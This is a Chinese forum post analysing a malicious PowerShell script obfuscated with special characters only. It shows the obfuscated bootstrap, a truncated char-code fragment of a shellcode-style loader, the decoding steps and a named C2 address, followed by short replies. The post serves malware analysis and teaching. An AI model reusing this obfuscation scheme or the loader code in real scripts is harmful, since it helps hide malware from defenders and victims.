首页
社区
课程
招聘
[原创]如何阅读只包含特殊符号的powershell脚本
2022-2-21 15:39 19934

[原创]如何阅读只包含特殊符号的powershell脚本

2022-2-21 15:39
19934

参考文章:Understanding Invoke- “X” Special Character Encoding

1. 基础变量

1.1 数字

首先根据分号将文档分为两部分,先看第一部分的内容:

1
('[%'  |%  {  ${[[[[[[[}  =  +  $()  }{  ${[[[[[[[[}=${[[[[[[[}}  {${[[[[[[[[[[[}=  ++  ${[[[[[[[}  }{${[[[}  =  ++${[[[[[[[}  }  {${[[[[[[}  =  ++  ${[[[[[[[}  }{${[[}  =++${[[[[[[[}}  {  ${[[[[[[[[[[[[}  =++  ${[[[[[[[}  }{${[[[[[[[[[[}=  ++  ${[[[[[[[}  }{${[[[[[[[[[}=++${[[[[[[[}  }  {${[[[[}  =  ++  ${[[[[[[[}}  {${[}  =  ++  ${[[[[[[[}  }  {${[[[[[}  =  "["+"$(  @{  })"[  ${[[[[[[[[[}]  +"$(@{  })""${[[[[[[[[[[[}"  +"${[}"  ]+"$(  @{  }  )  "["${[[[}"+"${[[[[[[[[}"]+  "$?  "[  ${[[[[[[[[[[[}  ]+  "]"  }{${[[[[[[[}  =  "".("$(@{}  )  "["${[[[[[[[[[[[}${[[}"]  +"$(@{})"["${[[[[[[[[[[[}${[[[[[[[[[[}"]+"$(@{}  )  "[  ${[[[[[[[[}  ]  +"$(@{  }  )"[  ${[[}]  +"$?"[  ${[[[[[[[[[[[}  ]  +  "$(@{  }  )  "[  ${[[[[[[}  ]  )  }  {${[[[[[[[}  ="$(  @{})"["${[[[[[[[[[[[}${[[}"]  +"$(  @{  }  )  "[${[[}  ]+"${[[[[[[[}"[  "${[[[}${[[[[[[[[[}"]  }  )  ;

可以根据大括号分一下行,并且先去掉前面的'[%' |%

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{ ${[[[[[[[}        =   +  $()          } 
{ ${[[[[[[[[}       =   ${[[[[[[[}      }  # 0
{ ${[[[[[[[[[[[}    =   ++  ${[[[[[[[}  }  # 1
{ ${[[[}            =   ++${[[[[[[[}    }  # 2 
{ ${[[[[[[}         =   ++  ${[[[[[[[}  }  # 3
{ ${[[}             =   ++${[[[[[[[}    }  # 4 
{ ${[[[[[[[[[[[[}   =   ++  ${[[[[[[[}  }  # 5
{ ${[[[[[[[[[[}     =   ++  ${[[[[[[[}  }  # 6
{ ${[[[[[[[[[}      =   ++${[[[[[[[}    }  # 7 
{ ${[[[[}           =   ++  ${[[[[[[[}  }  # 8 
{ ${[}              =   ++  ${[[[[[[[}  }  # 9 
{ ${[[[[[}          =   "["+"$(  @{  })"[  ${[[[[[[[[[}]  +"$(@{  })""${[[[[[[[[[[[}"  +"${[}"  ]+"$(  @{  }  )  "["${[[[}"+"${[[[[[[[[}"]+  "$?  "[  ${[[[[[[[[[[[}  ]+  "]"  }
{ ${[[[[[[[}        =   "".("$(@{}  )  "["${[[[[[[[[[[[}${[[}"]  +"$(@{})"["${[[[[[[[[[[[}${[[[[[[[[[[}"]+"$(@{}  )  "[  ${[[[[[[[[}  ]  +"$(@{  }  )"[  ${[[}]  +"$?"[  ${[[[[[[[[[[[}  ]  +  "$(@{  }  )  "[  ${[[[[[[}  ]  )  } 
{ ${[[[[[[[}        =   "$(  @{})"["${[[[[[[[[[[[}${[[}"+"$(  @{  }  )  "[${[[}  ]+"${[[[[[[[}""${[[[}${[[[[[[[[[}"]  }

在powershell中,可以使用${变量名}的格式定义任意变量。

 

先看第一行,$()是一个空的子表达式,等价于$null,如果在前面添加上一个+,就会发生格式转换,整个值变成0。所以第一行定义了一个变量${[[[[[[[},其值为0。

 

第二行定义了另一个变量${[[[[[[[[},它的值和${[[[[[[[}一样,也是0。之后通过递增符号不断执行+1操作,从而用特殊符号表达了0~9十个数字。

 

我们可以把这里表达数字的十个变量替换成对应的数字了,此时上述代码的后三行变成了(去除了多余的空格):

1
2
3
{ ${[[[[[}          =   "["+"$(  @{  })"7+"$(@{  })""1"  +"9"  ]+"$(  @{  }  )  "["2"+"0"]+  "$?  "1  ]+  "]"  }
{ ${[[[[[[[}        =   "".("$(@{}  )  "["14"]  +"$(@{})"["16"]+"$(@{}  )  "[  0  ]  +"$(@{  }  )"[  4]  +"$?"[  1  ]  +  "$(@{  }  )  "[  3  ]  )  } 
{ ${[[[[[[[}        =   "$(  @{})"["14"+"$(  @{  }  )  "[4  ]+"${[[[[[[[}""27"]  }

1.2 “CHar”

然后看倒数第三行,@{}是一个空的哈希表,如果把它放在子表达式符号$()中,并转换为字符串,即"$(@{})",就会得到字符串“System.Collections.Hashtable”,可以按照下面的索引做替换了

1
2
00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
S  y  s  t  e  m  .  C  o  l  l  e  c  t  i  o  n  s  .  H  a  s  h  t  a  b  l  e

也就是说第7个索引是“C”,第19个索引是“H”,第20个索引是“a”。

 

$?是一个自动变量,表示上一句指令的执行情况,如果执行成功,就表示True。所以它的第1个索引就是”r”。

 

由此得到变量${[[[[[},值为[CHar]

1.3 “iex”

根据上一小节的替换规则,可以得到倒数第二行等号右侧的值为"".inSert

 

Insert()是System.String中的一个方法名,原型为:

1
string Insert(int startIndex, string value)

使用

1
<Object>.Method name

就可以得到上述一个方法对象。

 

倒数第二行做了一个格式转换,将方法对象转换成对应的字符串表达:

1
2
00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
s  t  r  i  n  g     I  n  s  e  r  t  (  i  n  t     s  t  a  r  t  I  n  d  e  x  ,     s  t  r  i  n  g     v  a  l  u  e  )

至此,就可以对最后一行做一个替换,得到变量${[[[[[[[},值为iex

2. 脚本处理

目前得到的完整替换规则:

1
2
3
4
5
6
7
8
9
10
11
12
{ ${[[[[[[[[}       =   0     
{ ${[[[[[[[[[[[}    =   1  }
{ ${[[[}            =   2   
{ ${[[[[[[}         =   3  }
{ ${[[}             =   4   
{ ${[[[[[[[[[[[[}   =   5  }
{ ${[[[[[[[[[[}     =   6  }
{ ${[[[[[[[[[}      =   7   
{ ${[[[[}           =   8 
{ ${[}              =   9 
{ ${[[[[[}          =   "CHar"  }
{ ${[[[[[[[}        =   "iex" }

可以使用上述规则替换文档下半部分的脚本了。截取其中的部分内容(“CHar”换成了“Char”,不影响最终结果):

1
"iex([Char]83+[Char]101  +[Char]116+[Char]45  +  [Char]83+[Char]116  +  [Char]114+[Char]105+  [Char]99  +[Char]116+  [Char]77+[Char]111+  [Char]100  +  [Char]101  +  [Char]32+[Char]45  +[Char]86  +  [Char]101+[Char]114  +[Char]115  +[Char]105  +  [Char]111+[Char]110+  [Char]32+[Char]50  +[Char]10  +[Char]10  +  [Char]102+[Char]117+[Char]110+  [Char]99+[Char]116+[Char]105  +[Char]111  +  [Char]110  +[Char]32  +[Char]102  +  [Char]117  +  [Char]110  +  [Char]99+  [Char]95  +  [Char]103  +[Char]101+  [Char]116+[Char]95+[Char]112  +[Char]114+[Char]111+  [Char]99  +  [Char]95+  [Char]97  +  [Char]100+[Char]100+[Char]114+[Char]101  +[Char]115  +  [Char]115+  [Char]32  +[Char]123  +[Char]10  +[Char]9  +[Char]80  +  [Char]97  +[Char]114  +  [Char]97+[Char]109  +[Char]32+[Char]40+[Char]36  +[Char]118  +[Char]97  +[Char]114+[Char]95  +[Char]109  +[Char]111+  [Char]100  +  [Char]117  +[Char]108  +[Char]101  +  [Char]44+[Char]32+  [Char]36  +[Char]118+  [Char]97+[Char]114+[Char]95+[Char]112  +[Char]114+[Char]111  +[Char]99+  [Char]101+  [Char]100  +  [Char]117  +[Char]114+  [Char]101  +[Char]41  +[Char]9+  [Char]9+  [Char]10+  [Char]9  +  [Char]36+[Char]118  +[Char]97  +[Char]114  +[Char]95  +  [Char]117+[Char]110+  [Char]115  +  [Char]97  +[Char]102+[Char]101+  [Char]95  +[Char]110  +  [Char]97  +[Char]116+[Char]105  +  [Char]118  +  [Char]101+  [Char]95+[Char]109+  [Char]101  +  [Char]116+  [Char]104  +[Char]111+  [Char]100  +[Char]115+  [Char]32  +  [Char]61  +[Char]32  +[Char]40  +  [Char]91  +  [Char]65  +[Char]112+[Char]112  +[Char]68+  [Char]111+  [Char]109+  [Char]97  +  [Char]105+[Char]110  +[Char]93  +[Char]58  +[Char]58  +[Char]67+[Char]117  +  [Char]114+  [Char]114  +  [Char]101  +[Char]110  +  [Char]116  +[Char]68+[Char]111  +[Char]109  +  [Char]97  +  [Char]105  +  [Char]110+[Char]46  +[Char]71  +  [Char]101+[Char]116  +  [Char]65+......

可以把iex后面的部分复制出来,用Notepad++做一下处理,去除[Char],删除空格,把+替换成空格。结果截取:

1
83 101 116 45 83 116 114 105 99 116 77 111 100 101 32 45 86 101 114 115 105 111 110 32 50 10 10 102 117 110 99 116 105 111 110 32 102 117 110 99 95 103 101 116 95 112 114 111 99 95 97 100 100 114 101 115 115 32 123 10 9 80 97 114 97 109 32 40 36 118 97 114 95 109 111 100 117 108 101 44 32 36 118 97 114 95 112 114 111 99 101 100 117 114 101 41 9 9 10 9 36 118 97 114 95 117 110 115 97 102 101 95 110 97 116 105 118 101 95 109 101 116 104 111 100 115 32 61 32 40 91 65 112 112 68 111 109 97 105 110 93 58 58 67 117 114 114 101 110 116 68 111 109 97 105 110 46 71 101 116 65 115 115 101 109 98 108 105 101 115 40 41 32 124 32 87 104 101 114 101 45 79 98 106 101 99 116 32 123 32 36 95 46 71 108 111 98 97 108 65 115 115 101 109 98 108 121 67 97 99 104 101 32 45 65 110 100 32 36 95 46 76 111 99 97 116 105 111 110 46 83 112 108 105 116 40 39 92 92 39 41 91 45 49 93 46 69 113 117 97 108 115 40 39 83 121 115 116 101 109 46 100 108 108 39 41 32 125 41 46 71 101 116 84 121 112 101 40 39 77 105 99 114 111 11......

然后使用CyberChef的From CharCode做一下转换,得到脚本:

 

图片描述

 

到这里其实已经得到了正常的Powershell脚本了。

3. 额外处理

还可以对其中的base64编码字符串进行一个解码,并根据代码进行一个异或处理,得到:

 

图片描述

 

可以看到其中的C2地址42.192.152.182


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞7
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/03/07 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (5)
雪    币: 839
活跃值: (5004)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
suuuuu 2022-2-25 16:18
2
0
雪    币: 6124
活跃值: (4046)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
黑洛 1 2022-2-26 17:58
3
0
和一个js脚本的混淆有异曲同工之妙。如果它把函数名字哈希了,那么还原也还原不出名字,只能看它的内容去猜测函数的功能了。
雪    币: 4251
活跃值: (1887)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
GeaC 2022-2-28 09:06
4
0
不错的分析
雪    币: 2418
活跃值: (2282)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dearfuture 2022-3-3 18:04
5
0
找到iex就基本搞定了,可以把iex引用的那坨赋给一个变量,再把这个变量打印出来。让powershell自己打印就行了,不一定要用cyberchef。有好多脚本连iex都不混淆,挺搞笑的
雪    币: 172
活跃值: (746)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
1
大家好好学习一番,说不定哪次ctf就来这种。
游客
登录 | 注册 方可回帖
返回